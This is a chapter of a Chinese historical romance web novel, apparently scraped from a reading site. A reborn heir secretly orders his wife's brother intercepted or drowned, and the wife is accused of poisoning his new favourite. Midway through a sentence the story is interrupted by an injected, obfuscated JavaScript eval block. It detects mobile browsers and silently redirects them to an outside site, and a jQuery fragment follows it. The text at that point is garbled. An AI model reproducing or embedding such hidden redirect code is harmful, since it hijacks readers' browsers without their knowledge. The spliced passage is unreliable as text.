柳烟娘细软的声音还在继续,带着恰到好处的羞怯与感激。
“……烟娘用了,果然觉得身子暖了许多。正要寻机会,好好谢谢世子爷的关怀呢。”
每一个字,都清晰无比。
黎苏站在原地,感觉不到冷,也感觉不到暖。
所有的知觉仿佛都在那一瞬间被抽离了,只剩下空茫茫的一片。
厨娘。
原来在他眼里,她只是一个厨娘。
“世子爷还说,这府里若有什么不习惯的,或缺了什么,尽管来找夫人,所以我才……”
“夫人?您……脸色瞧着不太好,可是……可是也同旁人一般,嫌烟娘出身低微?”
黎苏缓缓抬眸。
目光掠过柳烟娘那张写满无辜怯弱的脸,掠过她紧绞被角的手指,最终落回到那个空了的食盒上。
然后,她极轻地地扯了一下嘴角。
“柳姑娘多心了。我还有事,就不打扰了。”
说完,她转身。
脚步依旧平稳,背脊依旧挺直。
只是那背影在透过窗纸的雪光映照下,单薄得像一片随时会碎裂的琉璃。
门外,寒风裹着雪粒扑面而来。像无数细密的针,刺在脸上。
她却觉得,这寒意比屋内那甜腻的暖香,要舒服得多。
翡翠急急撑伞跟上,面上愤愤不平:“娘子,那女人定是故意的,她……”
“回去吧。”
黎苏打断她,声音里听不出任何情绪。
从揽月轩回扶疏院的那段路,她走得很慢。
雪下得更密了,天地间白茫茫一片。
脚下的青石板路被薄雪覆盖,踩上去发出轻微的咯吱声。她一步一步走着,脑海里却异常清醒。
行至扶疏院门口时,黎苏的脚步顿了顿。
她抬头,望着院门上那三个熟悉的字。
这里是她的院落,是她这三年来生活的地方,有她熟悉的草木,熟悉的房间,熟悉的气息。
可此刻看着,却只觉得陌生。
像一座华丽冰冷的囚笼。
“娘子……”翡翠的声音在身侧响起,带着哽咽。
黎苏没有应声,只是抬步走了进去。
回到房内,她先走到窗边,将兄长的那封信和银票从妆奁夹层里重新取出来。
信纸被她反复看过,边缘已有些微皱。
她将其展平,又细细读了一遍。
目光在“归家”二字上停留许久。
-
明德堂书房内,灯火通明。
萧景城端坐在案桌前,刚批完一摞卷宗,沾了朱砂的笔尚未搁下。
萧七便无声无息地出现在屋内,低声禀报。
“主子,刚得到消息,黎家大公子黎昭,已于三日前到福县,走水路沿汴河北上。看行程,明日应会抵京。”
萧七想不明白,世子为何会突然着人留意黎大公子。
黎大公子虽是少夫人的兄长,因常年不在汴京。与世子并不相熟。
萧景城的手顿住,笔尖悬在半空。
一滴浓稠的朱砂,缓缓滴落在雪白的宣纸上,洇开一团刺目的红。
书房内炭火噼啪,跳跃的烛光映在他深邃的侧脸上,半明半暗。
他缓缓抬眸,眼底似有什么在急速涌动,又迅速被更深的墨色覆盖。
“拦住他。”
萧七一愣:“是。”
正欲退下,又听萧景城漫不经心地道。
“若他执意要来……”
“那就让他,‘永远’留在汴河里。”
那几个字轻飘飘地,不像是在下杀令,倒像是在让人赶走一只扰人的蚊蝇。
萧七心头猛地一凛,惊愕地看向仍在批阅公文的萧景城。
怀疑自己是不是年纪轻轻就耳背,听错了。
他跟随世子多年,世子向来冷静自持,手段雷霆。
可却从不滥杀。
然,自从一个月前江南遇刺,重伤昏迷数日醒来后,世子似乎变得不一样了。
眼里……多了一些东西。
一种若有若无的,令人心悸的戾气与偏执。
尤其是涉及夫人相关的人和事时。
黎昭是黎家养子,虽与夫人没有血缘关系,却是夫人自幼依赖,感情深厚的兄长。
世子此举……
“主子,黎大公子他毕竟是夫人的兄长,若夫人日后知晓……”
萧七怕主子一时犯下大错,以后追悔莫及,硬着头皮提醒。
萧景城冷眸睨过来,萧七立刻噤声,垂首。
“是,属下这就去办。”
书房内重归寂静,只有风雪敲打着窗棂的声音。
萧景城独自坐在案后,目光落在宣纸上那团刺目的朱砂红上,久久未动。
前世的一幕幕在脑海里翻涌……
捏着笔杆的手指收紧,笔杆不堪负重颤抖起来。
突然“咔嚓”一声细响,笔杆断裂了。
裂开的木屑刺进他的掌心,鲜红的血流了出来。
疼痛让他回过神来,随手丢掉断笔。拿起一旁的帕巾,慢条斯理地将手上的血迹擦干净。
随后从笔架上取下一支新笔,继续批阅公文。
烛火将他孤长的影子投在墙壁上,微微晃动。
不知过了多久,门外有小厮轻声询问。
“世子爷,夜深了,您是歇在书房,还是……去夫人院里?或是……揽月轩?”
萧景城沉默片刻,推开椅子起身。
“去扶疏院。”
他大步走出书房,踏入纷扬的雪夜。
寒风卷起他玄色的大氅,猎猎作响。
走向扶疏院的路上,他的步伐比平日稍快,眉心却始终蹙着,仿佛被什么无形的东西烦扰着。
刚走到扶疏院外不远处的月洞门,另一名侍卫疾步而来,声音压得极低。
“世子爷,宫里急召,宣您即刻入宫觐见,是陛下身边的张公公亲自来的,已在府门外等候。”
萧景城脚步停住。
他抬眼,望向不远处扶疏院紧闭的院门。
窗纸后透出昏黄温暖的光晕,在这冰天雪地里,像一颗寂静的小小火种。
他凝视了那光亮片刻,眼中情绪翻涌,最终归于一片深不见底的幽暗。
转身,玄色大氅在雪地上划出一道弧度。
“走。”
-
次日清晨,雪已停了,天地间一片素裹银装,阳光稀薄地照在积雪上,反射出冰冷刺眼的光。
黎苏醒得比往日早。
她坐在妆台前,任由翡翠为她梳妆。
“奴婢方才听守门的婆子说,昨夜世子爷来过了。”
黎苏指尖微微颤动了一下。
翡翠小心觑着她的神色,继续道:“后来是宫里来人了,世子爷就离开了,听说现在还在宫里没回来呢。”
黎苏没有接话。
翡翠在心里轻叹了口气,没再多言。
梳好妆后,简单用过早膳,便照例去给国公夫人请安。
到颐福堂时,张月如已经到了,正陪着国公夫人说话。
柳烟娘竟然也在,她身上穿着还是昨日那件衣服,怯生生地站在下首,一副谨小慎微的模样。
翡翠心下大惊,国公夫人居然许那女人来请安,这是要纳她进世子爷的房中吗?
翡翠急急地去看黎苏。
只见她面色无常,只是袖袍下,指尖死死掐住掌心里。
“弟妹今日气色瞧着倒好。也是,世子爷立下大功,圣眷正隆,弟妹与有荣焉,是该高兴。”
黎苏恍若未闻,上前向国公夫人行礼:“给母亲请安。”
国公夫人看着她,目光在她眼下没有遮住的淡青上,停留了一瞬,叹了口气,温声道。
“起来吧,坐。可用过早膳了?”
“用过了,谢母亲关心。”
柳烟娘也上前,对着黎苏盈盈下拜,声音细弱:“烟娘给夫人请安。”
黎苏微微颔首,受了她的礼,并未多言,只在下首的椅子上端然坐下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274806|198185||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。姿态端庄大方无可挑剔。
国公夫人看了柳烟娘一眼,对身边的嬷嬷道。
“去把我库房里那匹湖蓝色的杭绸,还有那套赤金镶蓝宝石的头面拿来,赏给柳姑娘。既进了府,衣着打扮也该有些体面。”
柳烟娘受宠若惊,连忙跪下谢恩,眼角飞快地瞟了黎苏一眼。
暗含得色。
张月如用帕子掩了掩嘴角,笑道。
“母亲真是慈心。柳姑娘好福气,这才进府一日,就得母亲如此厚爱。弟妹,你说是与不是?”
黎苏端起手边的茶盏,轻轻撇了撇浮沫,浅啜一口,才抬眸,声音平淡。
“母亲仁厚,待下宽和,自是府中之福。”
四两拨千斤,将话题从“厚爱”引向了“待下宽和”,轻轻巧巧地将柳烟娘定位在了“下人”的位置。
张月如一噎。
柳烟娘脸上的笑容也僵了僵。
国公夫人自然看出了几人的你争我斗,捻动佛珠的手指微微一顿,没再说什么。
又略坐了片刻,黎苏便起身告退。
自始至终,她未再看柳烟娘一眼,也未对张月如的挑衅有任何情绪波动。
走出颐福堂,冰冷的空气涌入肺腑。
翡翠跟在她身侧,低声道:“娘子,那柳氏……”
“无关紧要之人,不必理会。”
黎苏打断她,目光投向远处覆雪的重檐。
“翡翠,昨日让你留意兄长消息,可有动静?”
“还未有门房传信,奴婢会一直盯着。”
黎苏点了点头,不再说话。
阳光照在雪地上,反射的光线明亮得有些刺眼。她微微眯起眼,心里有某种东西,正在悄然生根。
-
是夜,万籁俱寂。
房门被轻轻推开,室外的寒气随之涌进来。
黎苏本就浅眠,几乎是门轴转动声响起的同时,便醒了。
黑暗中,她没有动,只是听着那被刻意放轻的,熟悉的脚步声,一步步靠近床榻。
是他。
帐幔被撩开。
他没有点灯,只是借着窗外透进的微光,看着榻上裹着锦被,背对着他的身影。
眸色复杂,里面似有什么在挣扎。
良久,他开口,声音低沉,听不出情绪。
“柳烟娘今日午后,腹痛呕吐,大夫诊出是中了轻微的寒食之毒。”
他顿了顿,目光落在她单薄的肩背上。
“她今日,只用了颐福堂的点心,以及……你昨日送去的药膳。”
他什么意思?是在怀疑她?
黎苏再装不下去了,她蓦地转过身坐起来,目光灼灼地盯着面前的男人。
“世子是觉得,是我下的毒?”
萧景城没有立即回答。
他的目光在她脸上停留,仿佛在审视,在衡量。黑暗中,他的呼吸声似乎重了一分。
“你是府里的少夫人,当有容人之量。”
容人之量。
在他心里,她就是个会因为嫉妒,而给人下毒的毒妇吗?难道他不知道,那药膳是她做给他的。
难道他是觉得自己要下毒害他。
最后阴差阳错被柳烟娘吃了,是这样吗?
眼眶里涩得发痛,里面有滚烫的液体就要控制不住流出来。她扭过头,极力地将眼泪逼了回去。
“世子既已认定,何必来问我。我说不是,世子信吗?”
萧景城看着她眼中一闪而过的水光,指尖微微一抖。
他没有说信也没有说不信。
好像他方才只是随口一问。
他抬手褪下外衫,上了床榻,随后,他像以往那般朝着睡在内侧的黎苏。
缓缓地沉沉地压下来。
就在他要亲上她时,黎苏忽然抬起手,抵在他坚实的胸膛上,将他推离。
萧景城的动作顿住了,他没想到黎苏会拒绝,好看的眉头微微拧起。
抬眸看她,瞳孔漆黑幽深。
“……你不愿?”